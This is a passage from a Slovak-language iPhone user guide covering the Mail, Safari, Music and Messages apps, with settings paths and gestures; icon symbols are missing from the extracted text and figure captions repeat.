• Nastavenie počtu starších správ, ktoré budú stiahnuté: Prejdite do Nastavenia > Mail, kontakty,
kalendáre > Zobraziť.
Vypnutie hlásení nových správ pre vybraný účet: Prejdite do Nastavenia > Hlásenia > Mail >
názov účtu a vypnite Centrum hlásení.
Zmena zvukov prehrávaných aplikáciou Mail: Prejdite do Nastavenia > Zvuky.
• Zmena zvuku prehrávaného pri prijatí nového emailu v jednotlivých účtoch: Prejdite do
Nastavenia > Hlásenia > Mail > názov účtu > Nový zvuk emailu.
• Zmena zvuku prehrávaného pri prijatí nového emailu od VIP kontaktu: Prejdite do Nastavenia >
Hlásenia > Mail > VIP > Nový zvuk emailu.
Odosielanie emailových správ
Klepnutím upravte polia
Od, Cc alebo Bcc.
Klepnutím upravte polia
Od, Cc alebo Bcc.
Upravte svoj podpis v
Nastavenia > Mail,
kontakty a kalendáre.
Upravte svoj podpis v
Nastavenia > Mail,
kontakty a kalendáre.
Klepnutím priložte fotku
alebo video.
Klepnutím priložte fotku
alebo video.
Vytvorenie novej správy: Klepnite na a zadajte meno alebo emailovú adresu. Po zadaní
príjemcov ich môžete potiahnutím presúvať medzi poľami, ako napríklad z poľa Pre do poľa
Cc. Ak máte viacero emailových účtov, klepnutím na pole Od môžete zmeniť účet, z ktorého
správu odosielate.
Automatické odosielanie skrytých kópií na vlastný email: Prejdite do Nastavenia > Mail,
kontakty, kalendáre > Skrytú kópiu sebe.
Uloženie rozpísanej správy: Klepnite na Zrušiť a potom klepnite na Uložiť. Správa bude
uložená v schránke Rozpísané daného účtu. Ak si chcete prezrieť svoje rozpísané správy,
podržte prst na .
Odpovedanie na správu: Klepnite na a potom klepnite na Odpovedať. Súbory alebo
obrázky priložené k pôvodnej správe nebudú odoslané v odpovedi. Ak chcete do odpovede
zahrnúť prílohy, namiesto odpovedania na správu ju prepošlite.
Preposlanie správy: Otvorte správu a klepnite na , potom klepnite na Preposlať. V správe
budú preposlané aj prílohy pôvodnej správy.
Citovanie časti správy, na ktorú odpovedáte alebo ktorú preposielate: Označte text tak, že
na ňom podržíte prst. Potiahnutím krajných bodov označte text, ktorý chcete zahrnúť vo vašej
odpovedi a potom klepnite na .
• Zmena úrovne odsadenia: Označte text, ktorý chcete odsadiť, najmenej dvakrát klepnite na
a potom klepnite na Úroveň citácie.
• Automatické zvýšenie úrovne odsadenia citácie: Prejdite do Nastavenia > Mail, kontakty,
kalendáre a zapnite možnosť Zvýšiť úroveň citácie.Kapitola 6 Mail 56
Odoslanie fotky alebo videa v správe: Klepnite na kurzor pre zobrazenie tlačidiel
označovania. Klepnite na , klepnite na Vložiť fotku alebo video a potom v albume vyberte
fotku alebo video. Pomocou aplikácie Fotky môžete odoslať viacero fotiek naraz — viac v časti
Zdieľanie fotografií a videí na strane 76.
Zmena podpisu: Prejdite do Nastavenia > Mail, kontakty, kalendáre > Podpis. Ak máte viac ako
jeden emailový účet a chcete pre každý z nich špecifikovať iný podpis, klepnite na Podľa účtu.
Triedenie emailových správ
Zobrazenie správ od VIP kontaktov: Prejdite do zoznamu schránok (klepnite na Schránky) a
potom klepnite na VIP.
• Pridanie osoby do zoznamu VIP: Klepnite na meno alebo adresu osoby v poliach Od, Pre alebo
Cc/Bcc a potom klepnite na Pridať do VIP.
Zoskupovanie súvisiacich správ: Prejdite do Nastavenia > Mail, kontakty, kalendáre
a klepnutím zapnite alebo vypnite možnosť Zoradiť do vlákien.
Vyhľadávanie správ: Otvorte schránku, prejdite na vrchnú časť obrazovky a do
vyhľadávacieho poľa zadajte hľadaný text. Vyhľadávať môžete v poliach Od, Pre a Predmet v
aktuálne otvorenej schránke. V emailových účtoch, ktoré podporujú vyhľadávanie správ na
serveri, klepnite na Všetky pre vyhľadávanie v poliach Od, Pre, Predmet a v tele správy.
Vymazanie správy: Ak je správa otvorená, klepnite na .
• Vymazanie správy bez jej otvárania: Prejdite prstom po názve správy a potom klepnite
na Vymazať.
• Vymazanie viacerých správ: V zobrazení zoznamu správ klepnite na Upraviť.
• Vypnutie potvrdzovania vymazania: Prejdite do Nastavenia > Mail, kontakty, kalendáre >
Potvrdiť vymazanie.
Obnovenie vymazanej správy: Prejdite do schránky Kôš daného účtu, otvorte správu, klepnite
na a presuňte správu do schránky Prijaté alebo do iného priečinka.
• Nastavenie času uchovávania správ v schránke Kôš pred ich trvalým vymazaním: Prejdite do
Nastavenia > Mail, kontakty, kalendáre > názov účtu > Účet > Rozšírené.
Vypnutie alebo zapnutie archivácie: Prejdite do Nastavenia > Mail, kontakty, kalendáre >
názov účtu > Účet > Rozšírené. Archivované správy sú presunuté do schránky Všetky správy.
Archivovanie nepodporujú všetky emailové účty.
Presunutie správy do inej schránky: Počas prezerania správy klepnite na a vyberte
cieľové umiestnenie.
Pridanie, premenovanie alebo vymazanie schránky: V zozname schránok klepnite na Upraviť.
Niektoré schránky nie je možné vymazať alebo premenovať.
Tlačenie správ a príloh
Vytlačenie správy: Klepnite na a potom klepnite na Tlačiť.
Tlačenie obrázka v tele správy: Podržte prst na obrázku a potom klepnite na Uložiť obrázok.
Prejdite do aplikácie Fotky a vytlačte obrázok z albumu Fotoaparát.
Tlačenie prílohy: Klepnutím otvorte prílohu pomocou funkcie Náhľad, klepnite na a potom
klepnite na Tlačiť.
Viac informácií o tlačení nájdete v časti Tlač pomocou funkcie AirPrint na strane 33.Kapitola 6 Mail 57
Emailové účty a nastavenia
Zmena nastavení aplikácie Mail a emailových účtov: Prejdite do Nastavenia > Mail, kontakty,
kalendáre. Môžete nastaviť účty typu:
• iCloud
• Microsoft Exchange a Outlook
• Google
• Yahoo!
• AOL
• Microsoft Hotmail
• Ďalšie POP a IMAP účty
Nastavenia líšia sa podľa typu účtu, ktorý používate. Informácie potrebné na vytvorenie
emailového účtu môžete získať u poskytovateľa internetovej služby alebo správcu systému.
Dočasné zastavenie používania účtu: Prejdite do Nastavenia > Mail, kontakty, kalendáre,
vyberte účet a vypnite emailovú službu pre daný účet. Ak je služba vypnutá, iPhone nebude
zobrazovať ani synchronizovať dané informácie až do jej opätovného zapnutia. Takýmto
spôsobom môžete napríklad pozastaviť prijímanie pracovných emailov na dovolenke.
Vymazanie účtu: Prejdite do Nastavenia > Mail, kontakty, kalendáre, vyberte účet a klepnite na
Vymazať účet v spodnej časti obrazovky. Všetky informácie synchronizované s daným účtom,
ako napríklad záložky, emailové správy a poznámky, budú vymazané.
Nastavenie možností funkcie Push: Prejdite do Nastavenia > Mail, kontakty, kalendáre >
Načítanie dát. Funkcia Push doručuje nové informácie vždy keď sa objavia na serveri v prípade,
že máte internetové pripojenie (môže sa vyskytnúť mierne oneskorenie). Ak je funkcia
Push vypnutá, použite na určenie intervalu, v ktorom bude prebiehať kontrola nových dát,
nastavenie Načítanie dát. Tu zvolené nastavenie prepíše nastavenia pre jednotlivé účty. Ak
chcete, aby vám batéria vydržala čo najdlhšie, nevykonávajte túto kontrolu príliš často. Funkciu
Push nepodporujú všetky emailové účty.
Odosielanie podpísaných a šifrovaných správ: Prejdite do Nastavenia > Mail, kontakty,
kalendáre > názov účtu > Účet > Rozšírené. Zapnite možnosť S/MIME a potom vyberte
certifikáty na podpisovanie a šifrovanie odchádzajúcich správ. Ak si chcete nainštalovať
certifikáty, skúste získať konfiguračný profil od správcu systému, stiahnite si certifikáty
z webovej stránky vydavateľa pomocou aplikácie Safari, prípadne si ich nechajte doručiť ako
prílohu v emailovej správe.
Nastavenie rozšírených možností: Prejdite do Nastavenia > Mail, kontakty, kalendáre > názov
účtu > Účet > Rozšírené. Možnosti sa líšia v závislosti od používaného účtu a môžu zahŕňať:
• Ukladanie rozpísaných, odoslaných a vymazaných správ na iPhone
• Nastavovanie času uchovávania vymazaných správ pred ich trvalým vymazaním
• Úpravu nastavení emailového servera
• Úpravu nastavení SSL a hesla
Ak si nie ste istí správnymi nastaveniami pre váš účet, kontaktujte svojho poskytovateľa
internetových služieb alebo správcu systému.7
58
Safari obsahuje okrem iných aj nasledovné funkcie:
• Čítačka — prečítajte si články bez reklám a ďalších rušivých prvkov
• Zoznam Na prečítanie — uložte si články, ktoré si chcete prečítať neskôr
• Režim celá obrazovka — aktívny počas prezeranie v orientácii na šírku
Na prezeranie stránok, ktoré ste si otvorili na ostatných zariadeniach a aktualizáciu záložiek a
zoznamu Na prečítanie použite iCloud.
Vyhľadať na webe alebo
na aktuálnej stránke.
Vyhľadať na webe alebo
na aktuálnej stránke.
Potiahnutím prechádzate
medzi otvorenými
webovými stránkami,
prípadne otvorte novú
webovú stránku.
Potiahnutím prechádzate
medzi otvorenými
webovými stránkami,
prípadne otvorte novú
webovú stránku.
Klepnutím dvakrát na
položku alebo pohybom
prstov od seba/k sebe
upravíte zväčšenie.
Klepnutím dvakrát na
položku alebo pohybom
prstov od seba/k sebe
upravíte zväčšenie.
Zadajte webovú adresu (URL). Zadajte webovú adresu (URL).
Pridať záložku, položku do zoznamu Na
prečítanie, ikonu na plochu alebo zdieľať či
tlačiť stranu.
Pridať záložku, položku do zoznamu Na
prečítanie, ikonu na plochu alebo zdieľať či
tlačiť stranu.
Klepnutím na stavový riadok prejdete do vrchnej časti. Klepnutím na stavový riadok prejdete do vrchnej časti.
Zobrazte svoj zoznam Na prečítanie,
históriu a záložky.
Zobrazte svoj zoznam Na prečítanie,
históriu a záložky.
Zobrazenie webovej stránky: Klepnite na pole pre adresu (v lište s názvom), zadajte
URL klepnite na Otvoriť.
• Rolovanie webovej stránky: Potiahnite stránku nahor, nadol alebo do strán.
• Rolovanie v ráme: Potiahnite dva prsty v ráme na webovej stránke.
• Zobrazenie stránky na šírku na celej obrazovke: Otočte iPhone a klepnite na .
• Opätovné načítanie webovej stránky: Klepnite na v poli pre adresu.
Zatvorenie webovej stránky: Klepnite na a potom klepnite na vedľa stránky.
SafariKapitola 7 Safari 59
Prezeranie webových stránok, ktoré ste mali otvorené na svojich ostatných zariadeniach:
Klepnite na a potom klepnite na iCloud taby. Ak chcete zdieľať webové stránky otvorené na
iPhone s ostatnými zariadeniami používajúcimi službu iCloud taby, prejdite do Nastavenia >
iCloud a zapnite možnosť Safari.
Otvorenie odkazu na webovej stránke: Klepnite na odkaz.
• Zobrazenie cieľa odkazu: Klepnite a podržte prst na odkaze.
• Otvorenie odkazu na novom tabe: Podržte prst na odkaze a potom klepnite na Otvoriť na
novej stránke.
Niektoré údaje — ako napríklad telefónne čísla a emailové adresy — sa taktiež zobrazia
ako odkazy na webových stránkach. Klepnutím a podržaním prsta na odkaze zobrazíte
dostupné možnosti.
Zobrazenie článku pomocou čítačky: Klepnite na tlačidlo Čítačka (ak sa zobrazí v poli pre
adresu).
• Úprava veľkosti písma: Klepnite na .
• Zdieľanie článku: Klepnite na .
Poznámka: Pri odoslaní článku z Čítačky emailom bude okrem odkazu odoslaný aj celý
text článku.
• Návrat na normálne zobrazenie: Klepnite na Hotovo.
Do zoznamu Na prečítanie si môžete pridávať webové stránky a prečítať si ich neskôr.
• Pridanie aktuálnej webovej stránky: Klepnite na a potom klepnite na Pridať do zozn. Na
prečítanie. Na iPhone 4 a novších modeloch sa okrem odkazu ukladá aj webová stránka,
takže si ju môžete prečítať aj keď nemáte pripojenie na internet.
• Pridanie cieľa odkazu: Klepnite a podržte prst na odkaze a potom klepnite na Pridať do
zoznamu Na prečítanie.
• Zobrazenie zoznamu Na prečítanie: Klepnite na a potom klepnite na Na prečítanie.
• Vymazanie položky zo zoznamu Na prečítanie: Prejdite prstom po položke a potom klepnite
na Vymazať.
Vyplnenie formulára: Pre zobrazenie klávesnice klepnite na textové pole.
• Prechod na iné textové pole: Klepnite na iné textové pole, prípadne klepnite na tlačidlá Ďalšie
alebo Predošlé.
• Odoslanie formulára: Pre odoslanie formulára klepnite na Otvoriť, Hľadať alebo na odkaz na
webovej stránke.
• Povolenie funkcie automatického vypĺňania AutoFill: Prejdite do Nastavenia > AutoFill.
Vyhľadávanie na webe, aktuálnej webovej stránke alebo v prehľadávateľnom PDF
dokumente: Zadajte text do vyhľadávacieho poľa.
• Vyhľadávanie na webe: Klepnite na niektorý zo zobrazených návrhov, prípadne na klepnite
na Hľadať.
• Vyhľadávanie textu na aktuálnej webovej stránke alebo v PDF dokumente: Prejdite na spodok
obrazovky a klepnite na záznam pod možnosťou Na tejto stránke.
Prvý výskyt hľadaného textu na stránke bude zvýraznený. Pre zobrazenie ďalších výskytov
klepnite na .
Pridanie záložky pre aktuálnu webovú stránku: Klepnite na a potom klepnite na Záložky.Kapitola 7 Safari 60
Po vytvorení záložky na webovú stránku môžete upraviť jej názov. Záložky sa automaticky
ukladajú do najvyššej úrovne záložiek. Ak si chcete zvoliť iný priečinok, na obrazovke Pridať
záložku klepnite na Záložky.
Vytvorenie ikony na ploche: Klepnite na a potom klepnite na Pridať na plochu. Safari pridá
na plochu ikonu aktuálnej webovej stránky. Pokiaľ stránka nemá vlastnú ikonu, bude táto časť
stránky použitá ako ikona web clipu na ploche. Web clipy zálohuje iCloud aj iTunes, no iCloud
ich neodosiela na iné zariadenia a iTunes ich nesynchronizuje.
Zdieľanie alebo kopírovanie odkazu na aktuálnu webovú stránku: Klepnite na a potom
klepnite na Odoslať emailom, Odoslať správu, Twitter, Facebook alebo Kopírovať.
Tlač aktuálnej webovej stránky: Klepnite na a potom klepnite na Tlačiť. Viac v časti Tlač
pomocou funkcie AirPrint na strane 33.
Ak chcete, aby boli vaše záložky a zoznam Na prečítanie aktuálne na vašich ostatných
iOS zariadeniach a počítačoch, použite iCloud: Prejdite do Nastavenia > iCloud a zapnite
možnosť Safari. Viac v časti iCloud na strane 16.
Nastavenie možností pre Safari: Prejdite do Nastavenia > Safari. Medzi možnosti patria:
• Nastavenie vyhľadávača
• Používanie funkcie AutoFill na vypĺňanie formulárov
• Otváranie odkazov na nových stranách alebo na pozadí
• Anonymné prezeranie kvôli ochrane osobných informácií a blokovanie sledovania vašej
činnosti pre niektoré stránky
• Vyčistenie histórie, cookies a dát
• Mobilné dáta pre zoznam Na prečítanie
• Upozornenia na falošné webové stránky8
61
Získavanie hudby
Hudbu a ďalší audioobsah môžete na iPhone získať nasledovnými spôsobmi:
• Zakúpenie a stiahnutie z obchodu iTunes Store: V aplikácii Hudba klepnite na Obchod. Viac v
časti kapitola 22, iTunes Store, na strane 98.
• Automatické sťahovanie hudby zakúpenej na ostatných iOS zariadeniach a počítačoch: Viac v
časti iCloud na strane 16.
• Synchronizácia obsahu s iTunes na vašom počítači: Viac v časti Synchronizácia s iTunes na
strane 17.
• Používanie služby iTunes Match na uchovávanie hudobnej knižnice v iCloude: Viac v časti iTunes
Match na strane 65.
Prehrávanie hudby
UPOZORNENIE: Dôležité informácie týkajúce sa prevencie pred poškodením sluchu nájdete v
časti Dôležité informácie týkajúce sa bezpečnosti na strane 153.
Zvuk môžete počúvať zo vstavaného reproduktora, pomocou slúchadiel pripojených
do konektora pre slúchadlá alebo cez Bluetooth stereo slúchadlá spárované s iPhonom. Keď sú
k iPhonu pripojené slúchadlá alebo je spárovaný so slúchadlami, z reproduktora nevychádza
nijaký zvuk.
Otvoriť obchod iTunes Store. Otvoriť obchod iTunes Store.
Vyberte spôsob prechádzania. Vyberte spôsob prechádzania.
Zobraziť ďalšie
tlačidlá na
prechádzanie.
Zobraziť ďalšie
tlačidlá na
prechádzanie.
Klepnutím si
vypočujte.
Klepnutím si
vypočujte.
HudbaKapitola 8 Hudba 62
Prehratie skladby: Prezerajte si zoznamy podľa playlistov, interpretov, skladieb alebo inej
kategórie a potom klepnite na žiadanú skladbu.
• Zobrazenie ďalších tlačidiel na prezeranie: Klepnite na Viac.
• Zmena tlačidiel na prezeranie zobrazených v spodnej časti: Klepnite na Viac, klepnite na
Upraviť a potom potiahnite ikonu na miesto tlačidla, ktoré chcete nahradiť.
Obrazovka Práve hrá zobrazuje čo sa práve prehráva a sú na nej umiestnené ovládacie
prvky prehrávania.
Ďalšie/Rýchle
prevíjanie dopredu
Ďalšie/Rýchle
prevíjanie dopredu
Prehrávať/Pozastaviť Prehrávať/Pozastaviť
Zoznam skladieb Zoznam skladieb
Späť Späť
Predošlé/ Hlasitosť Hlasitosť
Prevíjanie
dozadu
Predošlé/
Prevíjanie
dozadu
AirPlay AirPlay
Texty sa zobrazia na obrazovke Práve hrá v prípade, že ste ich predtým pridali ku skladbe
v okne s informáciami o skladbe v iTunes a iPhone ste synchronizovali s iTunes.
Zobrazenie ďalších ovládacích prvkov (iPhone 4S a staršie modely): Klepnutím na obal
albumu na obrazovke Práve hrá zobrazíte indikátor priebehu prehrávania a tlačidlá Opakovať,
Genius a Zamiešať.
Skok na ktorékoľvek miesto v prehrávanej skladbe: Potiahnite posuvník na indikátore
priebehu prehrávania. Posunutím prsta smerom nadol spomalíte rýchlosť vyhľadávania.
Zatrasením zamiešať: Zatrasením iPhonu zapnete náhodné prehrávanie skladieb a zmeníte
skladbu. Ak chcete zapnúť alebo vypnúť funkciu Zatrasením zamiešať, prejdite do Nastavenia >
Hudba.
Zobrazenie všetkých skladieb z albumu, z ktorého je aktuálna skladba: Klepnite na . Ak
chcete odstrániť skladbu, klepnite na ňu.
Klepnutím na hviezdičku
ohodnoťte túto skladbu
pre vytváranie dynamických
playlistov v iTunes.
Klepnutím na hviezdičku
ohodnoťte túto skladbu
pre vytváranie dynamických
playlistov v iTunes.
Návrat na
obrazovku Práve
hrá.
Návrat na
obrazovku Práve
hrá.
Skladby z albumu Skladby z albumuKapitola 8 Hudba 63
Vyhľadávanie hudby (názvy, interpreti, albumy a skladatelia): Klepnutím na stavový riadok
počas prechádzania zobrazte vyhľadávacie pole vo vrchnej časti obrazovky, do ktorého zadajte
hľadaný text. Hudobný obsah môžete vyhľadávať aj z plochy. Viac v časti Vyhľadávanie na
strane 29.
Zobrazenie ovládania zvuku počas používania inej aplikácie: Stlačte tlačidlo Domov
dvakrát a potom prejdite prstom cez panel multitaskingu smerom doprava. Opätovným
potiahnutím prsta smerom doprava zobrazíte ovládanie hlasitosti a tlačidlo AirPlay (ak ste
v dosahu zariadenia Apple TV alebo AirPlay reproduktorov).
Aktuálna aplikácia na
prehrávanie audia —
otvorte ju klepnutím.
Aktuálna aplikácia na
prehrávanie audia —
otvorte ju klepnutím.
Aktuálne prehrávaná skladba. Aktuálne prehrávaná skladba.
Zobrazenie ovládania zvuku keď je obrazovka zamknutá: Stlačte tlačidlo Domov dvakrát .
Prehrávanie hudby na AirPlay reproduktoroch alebo na Apple TV: Klepnite na . Viac v časti
AirPlay na strane 32.
Cover Flow
Po otočení iPhonu sa váš hudobný obsah zobrazí v Cover Flow.
Prezeranie albumov pomocou Cover Flow: Potiahnite prst smerom doľava alebo doprava.
• Zobrazenie zoznamu skladieb v albume: Klepnite na obal albumu alebo na . Rolujte
v zozname potiahnutím nahor alebo nadol. Klepnite na skladbu pre jej prehratie.
• Návrat na obal albumu: Klepnite na lištu s názvom alebo znovu klepnite na .
Podcasty a audioknihy
Na iPhone 5 sa informácie o podcastoch a audioknihách a ich ovládanie zobrazia na obrazovke
Práve hrá po spustení prehrávania.
Poznámka: Aplikácia Podcasty je bezplatne dostupná v obchode App Store. Viac v časti
kapitola 31, Podcasty, na strane 117. Ak si nainštalujete aplikáciu Podcasty, budú podcasty a ich
ovládanie odstránené z aplikácie Hudba.
Zobrazenie alebo skrytie ovládania a informácií (iPhone 4S a staršie modely): Klepnite do
stredu obrazovky.
Poloha Indikátor priebehu Indikátor priebehu
prehrávania
Poloha
prehrávania
Rýchlosť prehrávania Rýchlosť prehrávania
Preskočiť 15 sekúnd. Preskočiť 15 sekúnd.
Zopakovať posledných 15 sekúnd. Zopakovať posledných 15 sekúnd.
Odoslať emailom Odoslať emailom Kapitola 8 Hudba 64
Získanie ďalších epizód podcastu: Klepnite na Podcasty (ak možnosť Podcasty nie je
zobrazená, klepnite najprv na Viac) a potom klepnutím na podcast zobrazte dostupné epizódy.
Ak chcete stiahnuť ďalšie epizódy, klepnite na Viac epizód.
Skrytie textov skladieb a informácií o podcaste: Prejdite do Nastavenia > Hudba a vypnite
Info (texty/podcasty).
Playlisty
Vytvorenie playlistu: Zobrazte playlisty, klepnite na Pridať playlist v blízkosti vrchnej časti
zoznamu a potom zadajte názov playlistu. Klepnutím na pridajte skladby a videá a potom
klepnite na Hotovo.
Úprava playlistu: Vyberte playlist určený na úpravu a klepnite na Upraviť.
• Pridanie ďalších skladieb: Klepnite na .
• Vymazanie skladby: Klepnite na . Ak vymažete skladbu z playlistu, nebude vymazaná
z iPhonu.
• Zmena poradia skladieb: Potiahnite .
Nové a zmenené playlisty budú skopírované do knižnice iTunes buď pri ďalšej synchronizácii
iPhonu s počítačom, alebo bezdrôtovo cez iCloud (ak máte predplatenú službu iTunes Match).
Vyčistenie alebo vymazanie playlistu: Vyberte playlist a klepnite na tlačidlo Vyčistiť
alebo Vymazať.
Vymazanie skladby z iPhonu: V zobrazení skladieb prejdite prstom po skladbe a klepnite na
Vymazať.
Skladba bude vymazaná z iPhonu, no nie z knižnice iTunes na vašom Macu alebo PC či
z iCloudu.
Ak je zapnutá služba iTunes Match, nemôžete vymazávať hudbu. Ak potrebujete na zariadení
uvoľniť miesto, iTunes Match odstráni hudbu za vás, pričom ako prvé budú odstránené
najstaršie a najmenej hrané skladby.
Genius
Genius playlist je zbierka skladieb z vašej knižnice, ktoré sa k sebe hodia. Genius je bezplatná
služba, ktorá však vyžaduje Apple ID.
Genius Mix je výber skladieb rovnakého druhu hudby z vašej knižnice. Genius Mix je nanovo
vytvorený pri každom spustení.
Použitie služby Genius na iPhone: Zapnite Genius v aplikácii iTunes na počítači a potom
synchronizujte iPhone s iTunes. Genius Mixy sú synchronizované automaticky okrem prípadov,
keď svoju hudbu spravujete manuálne. Synchronizovať môžete aj Genius playlisty.
Prezeranie a prehrávanie Genius Mixov: Klepnite na Genius (ak možnosť Genius nie je
zobrazená, klepnite najprv na Viac). K iným mixom získate prístup potiahnutím prsta doľava
alebo doprava. Ak chcete prehrať mix, klepnite na .
Vytvorenie Genius playlistu: Zobrazte playlisty, potom klepnite na Genius Playlist a vyberte
skladbu. Prípadne na obrazovke Práve hrá klepnutím na obrazovku zobrazte ovládacie prvky
a potom klepnite na .
• Nahradenie playlistu použitím inej skladby: Klepnite na Nový a vyberte skladbu.
• Osvieženie playlistu: Klepnite na Osviežiť.Kapitola 8 Hudba 65
• Uloženie playlistu: Klepnite na Uložiť. Playlist sa uloží s názvom skladby, ktorú ste vybrali
a označili pomocou .
Úprava uloženého Genius playlistu: Klepnite na playlist a potom klepnite na Upraviť.
• Vymazanie skladby: Klepnite na .
• Zmena poradia skladieb: Potiahnite .
Vymazanie uloženého Genius playlistu: Klepnite na Genius playlist a potom klepnite
na Vymazať.
Genius playlisty vytvorené na iPhone sú pri synchronizácii s iTunes prekopírované do
vášho počítača.
Poznámka: Po synchronizácii Genius playlistu s iTunes ho nebudete môcť vymazať priamo
z iPhonu. Na úpravu názvu playlistu, zastavenie synchronizácie alebo vymazanie playlistu
použite iTunes.
Siri a Ovládanie hlasom
Siri (iPhone 4S alebo novšie modely) alebo ovládanie hlasom môžete použiť na ovládanie
prehrávania hudby. Viac v časti kapitola 4, Siri, na strane 39 a Ovládanie hlasom na strane 28.
Spustenie Siri alebo ovládania hlasom: Stlačte a podržte tlačidlo Domov .
• Prehrávanie alebo pozastavenie hudby: Povedzte „play“ alebo „play music“. Ak chcete
pozastaviť prehrávanie, vyslovte „pause“ „pause music“ alebo „stop“. Môžete tiež povedať
„next song“ alebo “previous song“.
• Prehrávanie albumu, interpreta alebo playlistu: Povedzte „play“, potom povedzte „album“,
„artist“ alebo „playlist“ a nakoniec povedzte názov.
• Zamiešanie aktuálneho playlistu: Povedzte „shuffle“.
• Zistenie informácií o práve prehrávanej skladbe: Povedzte „what’s playing“, „who sings this
song“ alebo „who is this song by“.
• Použitie funkcie Genius na prehrávanie podobných skladieb: Povedzte „Genius“ alebo „play
more songs like this“.
iTunes Match
iTunes Match uchováva vašu hudobnú knižnicu v iCloude, vrátane skladieb importovaných
z CD diskov a umožňuje prehrávanie vašej zbierky na iPhone alebo iných iOS zariadeniach a
počítačoch. iTunes Match je platená služba.
Predplatenie služby iTunes Match: V iTunes na svojom počítači vyberte Obchod > Zapnúť
iTunes Match a potom kliknite na tlačidlo Odoberať.
Po predplatení služby pridá iTunes vaše hudobné súbory, playlisty a Genius Mixy na iCloud.
Vaše skladby, ktoré sa nachádzajú v obchode iTunes Store, sú automaticky dostupné cez
iCloud. Ostatné skladby budú prenesené. Skladby, ktoré sú dostupné v kvalite iTunes Plus (256
kb/s DRM-free AAC), si môžete stiahnuť a prehrávať, aj ako boli vaše pôvodné skladby v nižšej
kvalite. Viac informácií nájdete v časti www.apple.com/icloud/features.
Zapnutie služby iTunes Match: Prejdite do Nastavenia > Hudba.
Zapnutím iTunes Match odstránite z iPhonu synchronizovanú hudbu a zakážete sa Genius Mixy
a Genius playlisty. Kapitola 8 Hudba 66
Poznámka: Ak je zapnutá funkcia Použiť mobilné dáta, môže byť prenos dát v mobilnej sieti
operátora spoplatnený.
Skladby sú do iPhonu stiahnuté pri ich prehratí. Skladby si môžete stiahnuť aj manuálne.
Stiahnutie albumu na iPhone: Počas prechádzania hudby klepnite na Albumy, klepnite na
album a potom klepnite na .
Zobrazenie len tej hudby, ktorá bola stiahnutá z iCloudu: Prejdite do Nastavenia > Hudba a
vypnite možnosť Zobraziť všetku hudbu (táto možnosť je dostupná len ak je zapnutá služba
iTunes Match).
Spravovanie zariadení pomocou služby iTunes Match alebo funkcie Automatické
sťahovania: V iTunes na svojom počítači prejdite do Obchod > Zobraziť môj účet. Prihláste sa a
potom kliknite na Spravovať zariadenia v časti iTunes v cloude.
Domáce zdieľanie
Domáce zdieľanie vám umožňuje prehrávať na iPhone hudbu, filmy a TV seriály z knižnice
iTunes na vašom Macu alebo PC. iPhone a váš počítač musia byť pripojené k rovnakej
Wi-Fi sieti.
Poznámka: Domáce zdieľanie vyžaduje iTunes 10.2 alebo novšiu verziu dostupnú na
www.apple.com/sk/itunes/download/. Bonusový obsah, ako napríklad digitálne brožúry
dodávané s CD a iTunes Extras, nie je možné zdieľať.
Prehrávanie hudby z vašej knižnice iTunes na iPhone:
1 V iTunes na svojom počítači vyberte Rozšírené > Zapnúť domáce zdieľanie. Prihláste sa
a potom kliknite na Vytvoriť domáce zdieľanie.
2 Na iPhone prejdite do Nastavenia > Hudba a potom sa prihláste do domáceho zdieľania
použitím rovnakého Apple ID a hesla.
3 V aplikácii Hudba klepnite na Viac, potom klepnite na Zdieľané a vyberte knižnicu iTunes
svojho počítača.
Návrat k obsahu na iPhone: Klepnite na Zdieľané a vyberte Môj iPhone.
Nastavenia aplikácie Hudba
Prejdite do Nastavenia > Hudba a upravte nastavenia aplikácie Hudba vrátane nasledovných:
• Zatrasením zamiešať
• Vyrovnanie hlasitosti (na optimalizáciu úrovne hlasitosti audio obsahu)
• Ekvalizér
Poznámka: Ekvalizér má vplyv na všetky výstupy zvuku, vrátane konektora pre slúchadlá a
AirPlay. Nastavenia ekvalizéra majú vplyv len na hudbu prehrávanú v aplikácii Hudba.
Režim Neskorá noc ovplyvňuje všetky audiovýstupy — video aj hudbu. Režim Neskorá noc
stlačí dynamický rozsah audiovýstupu, zníži hlasitosť hlasných pasáží a zvýši hlasitosť tichých
pasáží. Toto nastavenie sa hodí napríklad pri počúvaní hudby na palube lietadla alebo v
inom hlučnom prostredí.
• Texty piesní a informácie o podcaste
• Zoskupovanie podľa interpreta albumu
• iTunes Match
• Domáce zdieľanieKapitola 8 Hudba 67
Nastavenie obmedzenia hlasitosti: Prejdite do Nastavenia > Hudba > Obmedzenie hlasitosti a
nastavte posuvník hlasitosti.
Poznámka: V krajinách EÚ môžete obmedziť maximálnu úroveň hlasitosti slúchadiel na úroveň
odporúčanú EÚ. Prejdite do Nastavenia > Hudba > Obmedzenie hlasitosti a zapnite možnosť
Obmedzenie hlasitosti (EU).
Zakázanie úprav obmedzenia hlasitosti: Prejdite do Nastavenia > Všeobecné >
Obmedzenia > Obmedzenie hlasitosti a klepnite na Nepovoliť zmeny.9
68
Odosielanie a prijímanie správ
UPOZORNENIE: Dôležité informácie týkajúce sa rušivých vplyvov počas šoférovania nájdete v
časti Dôležité informácie týkajúce sa bezpečnosti na strane 153.
Aplikácia Správy vám umožňuje odosielať a prijímať správy z iných zariadení s podporou SMS
a MMS správ a z iOS zariadení, ktoré používajú iMessage.
iMessage je služba spoločnosti Apple, ktorá vám umožňuje posielať iným užívateľom systémov
iOS a OS X Mountain Lion neobmedzené množstvo správ cez Wi-Fi (ako aj cez mobilné
pripojenie). V aplikácii iMessage môžete vidieť, kedy druhá osoba práve píše správu a dať
ostatným vedieť, že ste si ich správy prečítali. Správy iMessages sa zobrazujú na všetkých
vašich iOS zariadeniach prihlásených do rovnakého účtu, takže konverzáciu môžete začať
na jednom zariadení a pokračovať v nej na inom zariadení. Správy iMessages sú kvôli
zabezpečeniu šifrované.
Pre zahrnutie fotky alebo
videa klepnite na tlačidlo
priložiť médium.
Pre zahrnutie fotky alebo
videa klepnite na tlačidlo
priložiť médium.
Klepnite pre
zadávanie textu.
Klepnite pre
zadávanie textu.
Modrá indikuje
konverzáciu
typu iMessage.
Modrá indikuje
konverzáciu
typu iMessage.
Začatie textovej konverzácie: Klepnite na , potom klepnite na a vyberte kontakt,
vyhľadajte kontakt zadaním mena, prípadne manuálne zadajte telefónne číslo alebo emailovú
adresu. Zadajte správu a klepnite na Odoslať.
SprávyKapitola 9 Správy 69
Ak správu nie je možné odoslať, zobrazí sa odznak s upozornením . Klepnutím na
upozornenie v konverzácii môžete skúsiť znovu odoslať správu. Klepnutím dvakrát odošlete
správu ako SMS textovú správu.
